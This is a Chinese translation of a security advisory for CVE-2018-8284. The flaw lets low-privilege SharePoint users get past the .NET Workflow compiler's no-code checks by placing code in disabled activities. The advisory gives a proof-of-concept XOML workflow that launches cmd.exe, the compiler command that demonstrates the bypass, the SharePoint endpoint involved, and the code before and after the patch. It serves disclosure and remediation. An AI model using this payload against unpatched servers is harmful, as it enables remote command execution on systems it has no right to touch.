供应商:微软 供应商网址:https://www.microsoft.com/ 受影响的版本:2018年7月之前的.NET Framework补丁 受影响的系统:.NET Framework工作流程库 作者:Soroush Dalili(@irsdl) 咨询URL / CVE标识符:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8284 风险:严重
在.NET Framework中,可以使用System.Workflow
命名空间内的库编译XOML文件来创建工作流(Workflow)。工作流编译器可以使用/nocode
和/checktypes
参数来终止执行不受信任的代码。/nocode
用来禁止使用code-beside模型在服务器端检查工作流,以确保它们不包含任何代码。第二个参数仅用于允许配置文件中的白名单类型。no-code
保护机制可以被绕过,因为它没有检查工作流中的是否禁用activities。此外,代码是在应用程序检查有效类型之前执行的。
默认情况下,低权限的SharePoint用户可以访问自己的个人网站,并可以为自己创建工作流。出于保护的目的,SharePoint还在服务器端编译工作流时使用了/nocode
和 /checktypes
参数。然而,由于bypass规则是确定的,在SharePoint服务器通过创建或更改工作流来执行命令是存在可能的。
触发该问题的工作流XOML文件为:
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow"> <SequentialWorkflowActivity Enabled="False"> <x:Code> Object test = System.Diagnostics.Process.Start("cmd.exe", "/c calc"); private void SayHello(object sender,object test) { //ToDo! } </x:Code> </SequentialWorkflowActivity> </SequentialWorkflowActivity>
下图显示了设计模式中的上述工作流程:
Microsoft(R) Windows Workflow Compiler工具可用作编译XOML文件的概念验证。这个工具应该和 /nocode /checktypes
一起使用,以便在.NET Framework过期的时候显示绕过问题:
wfc test.xoml /nocode:+ /checktypes:+
在SharePoint中,XOML文件的功能会因使用诸如/_vti_bin/webpartpages.asmx
中的ValidateWorkflowMarkupAndCreateSupportObjects
方法而受到影响。
当我在SharePoint Online上测试这个问题,并准备最终的错误报告时,微软的Matt Swann用Burp Suite Collaborator联系到了我,这让人有点兴奋不已:
根据Matt的说法,这不是他们事件响应的标准操作程序,但他们这样做是因为他们已经确定这的确属于NCC集团!
负责检查XOML文件中的代码的代码如下:
internal static bool HasCodeWithin(Activity rootActivity) { bool hasCodeWithin = false; Walker documentWalker = new Walker(); documentWalker.FoundActivity += delegate(Walker walker, WalkerEventArgs e) { Activity currentActivity = e.CurrentActivity; if (!currentActivity.Enabled) { e.Action = WalkerAction.Skip; return; } CodeTypeMemberCollection codeCollection = currentActivity.GetValue(WorkflowMarkupSerializer.XCodeProperty) as CodeTypeMemberCollection; if (codeCollection != null && codeCollection.Count != 0) { hasCodeWithin = true; e.Action = WalkerAction.Abort; return; } }; documentWalker.Walk(rootActivity as Activity); return hasCodeWithin; }
这也可以在以下网址查看:
在使用/nocode
时没有Code
节点,它似乎并没有检查工作流中是否禁用activities。
打了Microsort2018年七月的补丁后,上面的代码将更改为以下代码(使用反编译器获取代码):
internal static bool HasCodeWithin(Activity rootActivity) { bool flag = false; Walker walker1 = new Walker(); walker1.FoundActivity += new WalkerEventHandler((Walker walker, WalkerEventArgs e) => { Activity currentActivity = e.CurrentActivity; if (!currentActivity.Enabled && AppSettings.AllowXCode) { e.Action = WalkerAction.Skip; return; } CodeTypeMemberCollection value = currentActivity.GetValue(WorkflowMarkupSerializer.XCodeProperty) as CodeTypeMemberCollection; if (value == null || value.Count == 0) { return; } flag = true; e.Action = WalkerAction.Abort; }); walker1.Walk(rootActivity); return flag; }
可以看到,添加了一个附加参数来确保正确地检查所有的activities,无论这些activitie是否被启用。
升级到2018年7月发布的.NET Framework更新版。
需要说明的是,更新SharePoint是不能解决这个问题的。
文章:【漏洞预警】绕过工作流保护机制——SharePoint出现远程命令执行漏洞 https://www.secpulse.com/archives/75186.html
翻译:D先生@安识科技
本文作者:安识科技
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/75186.html